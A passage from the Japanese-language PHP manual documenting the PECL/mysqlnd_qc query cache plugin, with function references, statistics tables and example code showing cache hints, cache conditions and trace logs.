この SQL ヒントは、通常は使うべきではありません。 これは、PECL/mysqlnd_ms でひとつのステートメントのキャッシュエントリをグループ化するけれども 個々のキャッシュエントリの元となる物理的な接続が異なる場合に必要となるものです。 このヒントを使うと、クエリキャッシュのキーを生成するときに ユーザーやホスト名そして文字セットといった接続時の設定を考慮しません。 接続時の設定のかわりに、指定した値やクエリ文字列をハッシュ関数への入力として渡してキーを生成します。 PECL/mysqlnd_ms may は、指示された場合にキャッシュの結果を MySQL レプリケーションのスレーブから取得します。 スレーブへの接続は多数保持できるので、キャッシュのキーはユーザーやホスト名などの設定から作成するべきではありません。 これらはスレーブ接続によっていろいろ変化するからです。 そのかわりに PECL/mysqlnd_ms が提供する識別子は、 スレーブへの接続をグループ化したものを参照します。 これで、どの物理的なスレーブ接続がキャッシュエントリを生成したかにかかわらず、 キャッシュエントリを共有できるようになります。 この機能を PECL/mysqlnd_ms 以外で使うことはおすすめしません。

mysqlnd_qc_set_cache_condition() 関係

例2 mysqlnd_qc_set_cache_condition() の使用例

mysqlnd_qc_set_cache_condition() 関数を使うと、ステートメントの自動キャッシュを行うための条件を設定できます。 SQL ヒントがついていないために手動でのキャッシュが必要となるステートメントであっても、条件を満たせば自動でキャッシュされます。

<?php
/* "db_example" スキーマ(データベース) にある "new%" という名前のテーブルへのアクセスをすべて 1 秒間キャッシュします */
if (!mysqlnd_qc_set_cache_condition(MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN, "db_example.new%", 1)) {
  die("Failed to set cache condition!");
}

$mysqli = new mysqli("host", "user", "password", "db_example", "port");
/* SQL ヒントはありませんが、これはキャッシュされます */
$mysqli->query("SELECT id, title FROM news");

$pdo_mysql = new PDO("mysql:host=host;dbname=db_example;port=port", "user", "password");
/* SQL ヒントもないし、パターンにもマッチしないのでキャッシュされません */
$pdo_mysql->query("SELECT id, title FROM latest_news");
/* パターンにマッチするので、TTL 1 秒でキャッシュされます */
$pdo_mysql->query("SELECT id, title FROM news");
?>

MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN (int)
mysqlnd_qc_set_cache_condition() のパラメータとして使い、 スキーマベースの自動キャッシュの条件を設定します。

その他

プラグインのバージョンを取得するには MYSQLND_QC_VERSION あるいは MYSQLND_QC_VERSION_ID を使います。 MYSQLND_QC_VERSION はバージョン番号を文字列で表したもので、 MYSQLND_QC_VERSION_ID は 10000 のような整数値になります。 このバージョン番号は、次のように算出します。

バージョン (の一部) | 例
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_QC_VERSION_ID | 10000

MYSQLND_QC_VERSION (string)
プラグインのバージョンを表す文字列。1.0.0-prototype など。

MYSQLND_QC_VERSION_ID (int)
プラグインのバージョン番号。10000 など。

User Contributed Notes

There are no user contributed notes for this page.


mysqlnd_qc 関数

目次

  • mysqlnd_qc_clear_cache — Flush all cache contents
  • mysqlnd_qc_get_available_handlers — Returns a list of available storage handler
  • mysqlnd_qc_get_cache_info — Returns information on the current handler, the number of cache entries and cache entries, if available
  • mysqlnd_qc_get_core_stats — Statistics collected by the core of the query cache
  • mysqlnd_qc_get_normalized_query_trace_log — Returns a normalized query trace log for each query inspected by the query cache
  • mysqlnd_qc_get_query_trace_log — Returns a backtrace for each query inspected by the query cache
  • mysqlnd_qc_set_cache_condition — Set conditions for automatic caching
  • mysqlnd_qc_set_is_select — Installs a callback which decides whether a statement is cached
  • mysqlnd_qc_set_storage_handler — Change current storage handler
  • mysqlnd_qc_set_user_handlers — Sets the callback functions for a user-defined procedural storage handler

User Contributed Notes

There are no user contributed notes for this page.


Flush all cache contents

  • ≪ mysqlnd_qc 関数
  • mysqlnd_qc_get_available_handlers ≫
  • PHP Manual
  • mysqlnd_qc 関数
  • Flush all cache contents

mysqlnd_qc_clear_cache

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_clear_cache — Flush all cache contents

説明

mysqlnd_qc_clear_cache ( ) : bool

Flush all cache contents.

Flushing the cache is a storage handler responsibility. All built-in storage handler but the memcache storage handler support flushing the cache. The memcache storage handler cannot flush its cache contents.

User-defined storage handler may or may not support the operation.

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

A return value of false indicates that flushing all cache contents has failed or the operation is not supported by the active storage handler. Applications must not expect that calling the function will always flush the cache.

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of available storage handler

  • ≪ mysqlnd_qc_clear_cache
  • mysqlnd_qc_get_cache_info ≫
  • PHP Manual
  • mysqlnd_qc 関数
  • Returns a list of available storage handler

mysqlnd_qc_get_available_handlers

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_get_available_handlers — Returns a list of available storage handler

説明

mysqlnd_qc_get_available_handlers ( ) : array

Which storage are available depends on the compile time configuration of the query cache plugin. The default storage handler is always available. All other storage handler must be enabled explicitly when building the extension.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array of available built-in storage handler. For each storage handler the version number and version string is given.

例

例1 mysqlnd_qc_get_available_handlers() example

<?php
var_dump(mysqlnd_qc_get_available_handlers());
?>

上の例の出力は以下となります。

array(5) {
  ["default"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["user"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["APC"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["MEMCACHE"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["sqlite"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
}

参考

  • Installation
  • mysqlnd_qc_set_storage_handler() - Change current storage handler

User Contributed Notes

There are no user contributed notes for this page.


Returns information on the current handler, the number of cache entries and cache entries, if available

  • ≪ mysqlnd_qc_get_available_handlers
  • mysqlnd_qc_get_core_stats ≫
  • PHP Manual
  • mysqlnd_qc 関数
  • Returns information on the current handler, the number of cache entries and cache entries, if available

mysqlnd_qc_get_cache_info

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_get_cache_info — Returns information on the current handler, the number of cache entries and cache entries, if available

説明

mysqlnd_qc_get_cache_info ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

Returns information on the current handler, the number of cache entries and cache entries, if available. If and what data will be returned for the cache entries is subject to the active storage handler. Storage handler are free to return any data. Storage handler are recommended to return at least the data provided by the default handler, if technically possible.

The scope of the information is the PHP process. Depending on the PHP deployment model a process may serve one or more web requests.

Values are aggregated for all cache activities on a per storage handler basis. It is not possible to tell how much queries originating from mysqli, PDO_MySQL or mysql.API calls have contributed to the aggregated data values. Use mysqlnd_qc_get_core_stats() to get timing data aggregated for all storage handlers.

Array of cache information

handler string

The active storage handler.

All storage handler. Since 1.0.0.

handler_version string

The version of the active storage handler.

All storage handler. Since 1.0.0.

num_entries int

The number of cache entries. The value depends on the storage handler in use.

The default, APC and SQLite storage handler provide the actual number of cache entries.

The MEMCACHE storage handler always returns 0. MEMCACHE does not support counting the number of cache entries.

If a user defined handler is used, the number of entries of the data property is reported.

Since 1.0.0.

data array

The version of the active storage handler.

Additional storage handler dependent data on the cache entries. Storage handler are requested to provide similar and comparable information. A user defined storage handler is free to return any data.

Since 1.0.0.

The following information is provided by the default storage handler for the data property.

The data property holds a hash. The hash is indexed by the internal cache entry identifier of the storage handler. The cache entry identifier is human-readable and contains the query string leading to the cache entry. Please, see also the example below. The following data is given for every cache entry.

statistics array

Statistics of the cache entry.

Since 1.0.0.

Property | Description | Version
rows | Number of rows of the cached result set. | Since 1.0.0.
stored_size | The size of the cached result set in bytes. This is the size of the payload. The value is not suited for calculating the total memory consumption of all cache entries including the administrative overhead of the cache entries. | Since 1.0.0.
cache_hits | How often the cached entry has been returned. | Since 1.0.0.
run_time | Run time of the statement to which the cache entry belongs. This is the run time of the uncached statement. It is the time between sending the statement to MySQL receiving a reply from MySQL. Run time saved by using the query cache plugin can be calculated like this: cache_hits * ((run_time - avg_run_time) + (store_time - avg_store_time)). | Since 1.0.0.
store_time | Store time of the statements result set to which the cache entry belongs. This is the time it took to fetch and store the results of the uncached statement. | Since 1.0.0.
min_run_time | Minimum run time of the cached statement. How long it took to find the statement in the cache. | Since 1.0.0.
min_store_time | Minimum store time of the cached statement. The time taken for fetching the cached result set from the storage medium and decoding | Since 1.0.0.
avg_run_time | Average run time of the cached statement. | Since 1.0.0.
avg_store_time | Average store time of the cached statement. | Since 1.0.0.
max_run_time | Average run time of the cached statement. | Since 1.0.0.
max_store_time | Average store time of the cached statement. | Since 1.0.0.
valid_until | Timestamp when the cache entry expires. | Since 1.1.0.
metadata array

Metadata of the cache entry. This is the metadata provided by MySQL together with the result set of the statement in question. Different versions of the MySQL server may return different metadata. Unlike with some of the PHP MySQL extensions no attempt is made to hide MySQL server version dependencies and version details from the caller. Please, refer to the MySQL C API documentation that belongs to the MySQL server in use for further details.

The metadata list contains one entry for every column.

Since 1.0.0.

Property | Description | Version
name | The field name. Depending on the MySQL version this may be the fields alias name. | Since 1.0.0.
org_name | The field name. | Since 1.0.0.
table | The table name. If an alias name was used for the table, this usually holds the alias name. | Since 1.0.0.
org_table | The table name. | Since 1.0.0.
db | The database/schema name. | Since 1.0.0.
max_length | The maximum width of the field. Details may vary by MySQL server version. | Since 1.0.0.
length | The width of the field. Details may vary by MySQL server version. | Since 1.0.0.
type | The data type of the field. Details may vary by the MySQL server in use. This is the MySQL C API type constants value. It is recommended to use type constants provided by the mysqli extension to test for its meaning. You should not test for certain type values by comparing with certain numbers. | Since 1.0.0.

The APC storage handler returns the same information for the data property but no metadata. The metadata of a cache entry is set to NULL.

The MEMCACHE storage handler does not fill the data property. Statistics are not available on a per cache entry basis with the MEMCACHE storage handler.

A user defined storage handler is free to provide any data.

例

例1 mysqlnd_qc_get_cache_info() example

The example shows the output from the built-in default storage handler. Other storage handler may report different data.

<?php
/* Populate the cache, e.g. using mysqli */
$mysqli = new mysqli("host", "user", "password", "schema");
$mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/SELECT id FROM test");

/* Display cache information */
var_dump(mysqlnd_qc_get_cache_info());
?>

上の例の出力は以下となります。

array(4) {
 ["num_entries"]=>
 int(1)
 ["handler"]=>
 string(7) "default"
 ["handler_version"]=>
 string(5) "1.0.0"
 ["data"]=>
 array(1) {
   ["Localhost via UNIX socket 3306 user schema|/*qc=on*/SELECT id FROM test"]=>
   array(2) {
     ["statistics"]=>
     array(11) {
       ["rows"]=>
       int(6)
       ["stored_size"]=>
       int(101)
       ["cache_hits"]=>
       int(0)
       ["run_time"]=>
       int(471)
       ["store_time"]=>
       int(27)
       ["min_run_time"]=>
       int(0)
       ["max_run_time"]=>
       int(0)
       ["min_store_time"]=>
       int(0)
       ["max_store_time"]=>
       int(0)
       ["avg_run_time"]=>
       int(0)
       ["avg_store_time"]=>
       int(0)
     }
     ["metadata"]=>
     array(1) {
       [0]=>
       array(8) {
         ["name"]=>
         string(2) "id"
         ["orig_name"]=>
         string(2) "id"
         ["table"]=>
         string(4) "test"
         ["orig_table"]=>
         string(4) "test"
         ["db"]=>
         string(4) "schema"
         ["max_length"]=>
         int(1)
         ["length"]=>
         int(11)
         ["type"]=>
         int(3)
       }
     }
   }
 }
}

参考

  • mysqlnd_qc_get_core_stats() - Statistics collected by the core of the query cache

User Contributed Notes

There are no user contributed notes for this page.


Statistics collected by the core of the query cache

  • ≪ mysqlnd_qc_get_cache_info
  • mysqlnd_qc_get_normalized_query_trace_log ≫
  • PHP Manual
  • mysqlnd_qc 関数
  • Statistics collected by the core of the query cache

mysqlnd_qc_get_core_stats

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_get_core_stats — Statistics collected by the core of the query cache

説明

mysqlnd_qc_get_core_stats ( ) : array

Returns an array of statistics collected by the core of the cache plugin. The same data fields will be reported for any storage handler because the data is collected by the core.

The PHP configuration setting mysqlnd_qc.collect_statistics controls the collection of statistics. The collection of statistics is disabled by default for performance reasons. Disabling the collection of statistics will also disable the collection of time related statistics.

The PHP configuration setting mysqlnd_qc.collect_time_statistics controls the collection of time related statistics.

The scope of the core statistics is the PHP process. Depending on your deployment model a PHP process may handle one or multiple requests.

Statistics are aggregated for all cache entries and all storage handler. It is not possible to tell how much queries originating from mysqli, PDO_MySQL or mysql API calls have contributed to the aggregated data values.

パラメータ

この関数にはパラメータはありません。

返り値

Array of core statistics

Statistic | Description | Version
cache_hit | Statement is considered cacheable and cached data has been reused. Statement is considered cacheable and a cache miss happened but the statement got cached by someone else while we process it and thus we can fetch the result from the refreshed cache. | Since 1.0.0.
cache_miss Statement is considered cacheable...

  • ... and has been added to the cache

  • ... but the PHP configuration directive setting of mysqlnd_qc.cache_no_table = 1 has prevented caching.

  • ... but an unbuffered result set is requested.

  • ... but a buffered result set was empty.

Since 1.0.0.
cache_put | Statement is considered cacheable and has been added to the cache. Take care when calculating derived statistics. Storage handler with a storage life time beyond process scope may report cache_put = 0 together with cache_hit > 0, if another process has filled the cache. You may want to use num_entries from mysqlnd_qc_get_cache_info() if the handler supports it ( default, APC). | Since 1.0.0.
query_should_cache | Statement is considered cacheable based on query string analysis. The statement may or may not be added to the cache. See also cache_put. | Since 1.0.0.
query_should_not_cache | Statement is considered not cacheable based on query string analysis. | Since 1.0.0.
query_not_cached | Statement is considered not cacheable or it is considered cachable but the storage handler has not returned a hash key for it. | Since 1.0.0.
query_could_cache Statement is considered cacheable...

  • ... and statement has been run without errors

  • ... and meta data shows at least one column in the result set

The statement may or may not be in the cache already. It may or may not be added to the cache later on. 		Since 1.0.0.
query_found_in_cache | Statement is considered cacheable and we have found it in the cache but we have not replayed the cached data yet and we have not send the result set to the client yet. This is not considered a cache hit because the client might not fetch the result or the cached data may be faulty. | Since 1.0.0.
query_uncached_other | Statement is considered cacheable and it may or may not be in the cache already but either replaying cached data has failed, no result set is available or some other error has happened.
query_uncached_no_table | Statement has not been cached because the result set has at least one column which has no table name in its meta data. An example of such a query is SELECT SLEEP(1). To cache those statements you have to change default value of the PHP configuration directive mysqlnd_qc.cache_no_table and set mysqlnd_qc.cache_no_table = 1. Often, it is not desired to cache such statements. | Since 1.0.0.
query_uncached_use_result | Statement would have been cached if a buffered result set had been used. The situation is also considered as a cache miss and cache_miss will be incremented as well. | Since 1.0.0.
query_aggr_run_time_cache_hit | Aggregated run time (ms) of all cached queries. Cached queries are those which have incremented cache_hit. | Since 1.0.0.
query_aggr_run_time_cache_put | Aggregated run time (ms) of all uncached queries that have been put into the cache. See also cache_put. | Since 1.0.0.
query_aggr_run_time_total | Aggregated run time (ms) of all uncached and cached queries that have been inspected and executed by the query cache. | Since 1.0.0.
query_aggr_store_time_cache_hit | Aggregated store time (ms) of all cached queries. Cached queries are those which have incremented cache_hit. | Since 1.0.0.
query_aggr_store_time_cache_put | Aggregated store time ( ms) of all uncached queries that have been put into the cache. See also cache_put. | Since 1.0.0.
query_aggr_store_time_total | Aggregated store time (ms) of all uncached and cached queries that have been inspected and executed by the query cache. | Since 1.0.0.
receive_bytes_recorded | Recorded incoming network traffic ( bytes) send from MySQL to PHP. The traffic may or may not have been added to the cache. The traffic is the total for all queries regardless if cached or not. | Since 1.0.0.
receive_bytes_replayed | Network traffic replayed during cache. This is the total amount of incoming traffic saved because of the usage of the query cache plugin. | Since 1.0.0.
send_bytes_recorded | Recorded outgoing network traffic ( bytes) send from MySQL to PHP. The traffic may or may not have been added to the cache. The traffic is the total for all queries regardless if cached or not. | Since 1.0.0.
send_bytes_replayed | Network traffic replayed during cache. This is the total amount of outgoing traffic saved because of the usage of the query cache plugin. | Since 1.0.0.
slam_stale_refresh | Number of cache misses which triggered serving stale data until the client causing the cache miss has refreshed the cache entry. | Since 1.0.0.
slam_stale_hit | Number of cache hits while a stale cache entry gets refreshed. | Since 1.0.0.

例

例1 mysqlnd_qc_get_core_stats() example

<?php
/* Enable collection of statistics - default: disabled */
ini_set("mysqlnd_qc.collect_statistics", 1);

/* Enable collection of all timing related statistics -
default: enabled but overruled by mysqlnd_qc.collect_statistics = 0 */
ini_set("mysqlnd_qc.collect_time_statistics", 1);

/* Populate the cache, e.g. using mysqli */
$mysqli = new mysqli('host', 'user', 'password', 'schema');

/* Cache miss and cache put */
$mysqli->query("/*qc=on*/SELECT id FROM test");
/* Cache hit */
$mysqli->query("/*qc=on*/SELECT id FROM test");

/* Display core statistics */
var_dump(mysqlnd_qc_get_core_stats());
?>

上の例の出力は以下となります。

array(26) {
  ["cache_hit"]=>
  string(1) "1"
  ["cache_miss"]=>
  string(1) "1"
  ["cache_put"]=>
  string(1) "1"
  ["query_should_cache"]=>
  string(1) "2"
  ["query_should_not_cache"]=>
  string(1) "0"
  ["query_not_cached"]=>
  string(1) "0"
  ["query_could_cache"]=>
  string(1) "2"
  ["query_found_in_cache"]=>
  string(1) "1"
  ["query_uncached_other"]=>
  string(1) "0"
  ["query_uncached_no_table"]=>
  string(1) "0"
  ["query_uncached_no_result"]=>
  string(1) "0"
  ["query_uncached_use_result"]=>
  string(1) "0"
  ["query_aggr_run_time_cache_hit"]=>
  string(1) "4"
  ["query_aggr_run_time_cache_put"]=>
  string(3) "395"
  ["query_aggr_run_time_total"]=>
  string(3) "399"
  ["query_aggr_store_time_cache_hit"]=>
  string(1) "2"
  ["query_aggr_store_time_cache_put"]=>
  string(1) "8"
  ["query_aggr_store_time_total"]=>
  string(2) "10"
  ["receive_bytes_recorded"]=>
  string(2) "65"
  ["receive_bytes_replayed"]=>
  string(2) "65"
  ["send_bytes_recorded"]=>
  string(2) "29"
  ["send_bytes_replayed"]=>
  string(2) "29"
  ["slam_stale_refresh"]=>
  string(1) "0"
  ["slam_stale_hit"]=>
  string(1) "0"
  ["request_counter"]=>
  int(1)
  ["process_hash"]=>
  int(3547549858)
}

参考

  • Runtime configuration
  • mysqlnd_qc.collect_statistics
  • mysqlnd_qc.time_statistics
  • mysqlnd_qc_get_cache_info() - Returns information on the current handler, the number of cache entries and cache entries, if available

User Contributed Notes

There are no user contributed notes for this page.


Returns a normalized query trace log for each query inspected by the query cache

  • ≪ mysqlnd_qc_get_core_stats
  • mysqlnd_qc_get_query_trace_log ≫
  • PHP Manual
  • mysqlnd_qc 関数
  • Returns a normalized query trace log for each query inspected by the query cache

mysqlnd_qc_get_normalized_query_trace_log

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_get_normalized_query_trace_log — Returns a normalized query trace log for each query inspected by the query cache

説明

mysqlnd_qc_get_normalized_query_trace_log ( ) : array

Returns a normalized query trace log for each query inspected by the query cache. The collection of the trace log is disabled by default. To collect the trace log you have to set the PHP configuration directive mysqlnd_qc.collect_normalized_query_trace to 1

Entries in the trace log are grouped by the normalized query statement. The normalized query statement is the query statement with all statement parameter values being replaced with a question mark. For example, the two statements SELECT id FROM test WHERE id = 1 and SELECT id FROM test WHERE id = 2 are normalized as SELECT id FROM test WHERE id = ?. Whenever a statement is inspected by the query cache which matches the normalized statement pattern, its statistics are grouped by the normalized statement string.

パラメータ

この関数にはパラメータはありません。

返り値

An array of query log. Every list entry contains the normalized query stringand further detail information.

Key | Description
query | Normalized statement string.
occurences | How many statements have matched the normalized statement string in addition to the one which has created the log entry. The value is zero if a statement has been normalized, its normalized representation has been added to the log but no further queries inspected by PECL/mysqlnd_qc have the same normalized statement string.
eligible_for_caching | Whether the statement could be cached. An statement eligible for caching has not necessarily been cached. It not possible to tell for sure if or how many cached statement have contributed to the aggregated normalized statement log entry. However, comparing the minimum and average run time one can make an educated guess.
avg_run_time | The average run time of all queries contributing to the query log entry. The run time is the time between sending the query statement to MySQL and receiving an answer from MySQL.
avg_store_time | The average store time of all queries contributing to the query log entry. The store time is the time needed to fetch a statements result set from the server to the client and, storing it on the client.
min_run_time | The minimum run time of all queries contributing to the query log entry.
min_store_time | The minimum store time of all queries contributing to the query log entry.
max_run_time | The maximum run time of all queries contributing to the query log entry.
max_store_time | The maximum store time of all queries contributing to the query log entry.

例

例1 mysqlnd_qc_get_normalized_query_trace_log() example

mysqlnd_qc.collect_normalized_query_trace=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* not cached */
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* cache put */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

/* cache hit */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

var_dump(mysqlnd_qc_get_normalized_query_trace_log());
?>

上の例の出力は以下となります。

array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(4) {
  [0]=>
  array(9) {
    ["query"]=>
    string(25) "DROP TABLE IF EXISTS test"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [1]=>
  array(9) {
    ["query"]=>
    string(27) "CREATE TABLE test (id INT )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [2]=>
  array(9) {
    ["query"]=>
    string(40) "INSERT INTO test (id ) VALUES (? ), (? )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [3]=>
  array(9) {
    ["query"]=>
    string(31) "SELECT id FROM test WHERE id =?"
    ["occurences"]=>
    int(2)
    ["eligible_for_caching"]=>
    bool(true)
    ["avg_run_time"]=>
    int(159)
    ["min_run_time"]=>
    int(12)
    ["max_run_time"]=>
    int(307)
    ["avg_store_time"]=>
    int(10)
    ["min_store_time"]=>
    int(8)
    ["max_store_time"]=>
    int(13)
  }
}

参考

  • Runtime configuration
  • mysqlnd_qc.collect_normalized_query_trace
  • mysqlnd_qc.time_statistics
  • mysqlnd_qc_get_query_trace_log() - Returns a backtrace for each query inspected by the query cache

User Contributed Notes

There are no user contributed notes for this page.


Returns a backtrace for each query inspected by the query cache

  • ≪ mysqlnd_qc_get_normalized_query_trace_log
  • mysqlnd_qc_set_cache_condition ≫
  • PHP Manual
  • mysqlnd_qc 関数
  • Returns a backtrace for each query inspected by the query cache

mysqlnd_qc_get_query_trace_log

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_get_query_trace_log — Returns a backtrace for each query inspected by the query cache

説明

mysqlnd_qc_get_query_trace_log ( ) : array

Returns a backtrace for each query inspected by the query cache. The collection of the backtrace is disabled by default. To collect the backtrace you have to set the PHP configuration directive mysqlnd_qc.collect_query_trace to 1

The maximum depth of the backtrace is limited to the depth set with the PHP configuration directive mysqlnd_qc.query_trace_bt_depth.

パラメータ

この関数にはパラメータはありません。

返り値

An array of query backtrace. Every list entry contains the query string, a backtrace and further detail information.

Key | Description
query | Query string.
origin | Code backtrace.
run_time | Query run time in milliseconds. The collection of all times and the necessary gettimeofday system calls can be disabled by setting the PHP configuration directive mysqlnd_qc.time_statistics to 0
store_time | Query result set store time in milliseconds. The collection of all times and the necessary gettimeofday system calls can be disabled by setting the PHP configuration directive mysqlnd_qc.time_statistics to 0
eligible_for_caching | true if query is cacheable otherwise false.
no_table | true if the query has generated a result set and at least one column from the result set has no table name set in its metadata. This is usually the case with queries which one probably do not want to cache such as SELECT SLEEP(1). By default any such query will not be added to the cache. See also PHP configuration directive mysqlnd_qc.cache_no_table.
was_added | true if the query result has been put into the cache, otherwise false.
was_already_in_cache | true if the query result would have been added to the cache if it was not already in the cache (cache hit). Otherwise false.

例

例1 mysqlnd_qc_get_query_trace_log() example

mysqlnd_qc.collect_query_trace=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* not cached */
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* cache put */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

/* cache hit */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

var_dump(mysqlnd_qc_get_query_trace_log());
?>

上の例の出力は以下となります。

array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(6) {
  [0]=>
  array(8) {
    ["query"]=>
    string(25) "DROP TABLE IF EXISTS test"
    ["origin"]=>
    string(102) "#0 qc.php(4): mysqli->query('DROP TABLE IF E...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [1]=>
  array(8) {
    ["query"]=>
    string(25) "CREATE TABLE test(id INT)"
    ["origin"]=>
    string(102) "#0 qc.php(5): mysqli->query('CREATE TABLE te...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [2]=>
  array(8) {
    ["query"]=>
    string(36) "INSERT INTO test(id) VALUES (1), (2)"
    ["origin"]=>
    string(102) "#0 qc.php(6): mysqli->query('INSERT INTO tes...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [3]=>
  array(8) {
    ["query"]=>
    string(32) "SELECT id FROM test WHERE id = 1"
    ["origin"]=>
    string(102) "#0 qc.php(9): mysqli->query('SELECT id FROM ...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(25)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [4]=>
  array(8) {
    ["query"]=>
    string(41) "/*qc=on*/SELECT id FROM test WHERE id = 2"
    ["origin"]=>
    string(103) "#0 qc.php(14): mysqli->query('/*qc=on*/SELECT...')
#1 {main}"
    ["run_time"]=>
    int(311)
    ["store_time"]=>
    int(13)
    ["eligible_for_caching"]=>
    bool(true)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(true)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [5]=>
  array(8) {
    ["query"]=>
    string(41) "/*qc=on*/SELECT id FROM test WHERE id = 2"
    ["origin"]=>
    string(103) "#0 qc.php(19): mysqli->query('/*qc=on*/SELECT...')
#1 {main}"
    ["run_time"]=>
    int(13)
    ["store_time"]=>
    int(8)
    ["eligible_for_caching"]=>
    bool(true)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(true)
  }
}

参考

  • Runtime configuration
  • mysqlnd_qc.collect_query_trace
  • mysqlnd_qc.query_trace_bt_depth
  • mysqlnd_qc.time_statistics
  • mysqlnd_qc.cache_no_table
  • mysqlnd_qc_get_normalized_query_trace_log() - Returns a normalized query trace log for each query inspected by the query cache

User Contributed Notes

There are no user contributed notes for this page.


Set conditions for automatic caching

  • ≪ mysqlnd_qc_get_query_trace_log
  • mysqlnd_qc_set_is_select ≫
  • PHP Manual
  • mysqlnd_qc 関数
  • Set conditions for automatic caching

mysqlnd_qc_set_cache_condition

(PECL mysqlnd_qc >= 1.1.0)

mysqlnd_qc_set_cache_condition — Set conditions for automatic caching

説明

mysqlnd_qc_set_cache_condition ( int $condition_type , mixed $condition , mixed $condition_option ) : bool

Sets a condition for automatic caching of statements which do not contain the necessary SQL hints to enable caching of them.

パラメータ

condition_type

Type of the condition. The only allowed value is MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN.

condition

Parameter for the condition set with condition_type. Parameter type and structure depend on condition_type

